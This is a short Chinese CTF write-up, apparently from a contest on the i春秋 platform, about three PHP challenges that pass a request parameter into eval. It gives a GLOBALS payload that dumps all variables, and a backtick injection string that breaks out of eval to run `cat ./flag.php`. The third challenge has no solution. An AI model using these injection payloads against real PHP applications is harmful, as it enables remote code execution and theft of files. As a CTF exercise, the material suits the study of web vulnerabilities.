1. 程式人生 > >CTF之文件包含的猥瑣思路

CTF之文件包含的猥瑣思路

code cnblogs sdn 表示 文件包含 class div cat glob

From: i春秋 百度杯”CTF

一:

<?php include "flag.php"; //包含flag.php這個文件 
$a = @$_REQUEST[hello]; //$a這個變量請求變量hello的值 
if(!preg_match(/^\w*$/,$a )){ //正則表達式,匹配字符串,\w表示字符+數字+下劃線,*代表有若幹個\w字符組成。 
  die(ERROR);//不匹配則輸出ERROR } 
  eval("var_dump($$a);"); //如果匹配輸出\$\$a的值 
  show_source(__FILE__);
 ?>

PHP一個比較有意思的變量!$GLOBALS:一個包含了全部變量的全局組合數組。變量的名字就是數組的鍵。於是我們在url上構造/?hello=GLOBALS,結果就直接出來了!根本不是爆破好吧!

答案:/?hello=GLOBALS

二:

<?php
include "flag.php";
$a = @$_REQUEST[‘hello‘];
eval( "var_dump($a);");
show_source(__FILE__);

反引號位 (`) 是可以執行命令的

答案:?hello=);echo%20`cat%20./flag.php`;//

三:

<?php 
    
include "flag.php"; $a = @$_REQUEST[‘hello‘]; eval( "var_dump($a);"); show_source(__FILE__); ?>

CTF之文件包含的猥瑣思路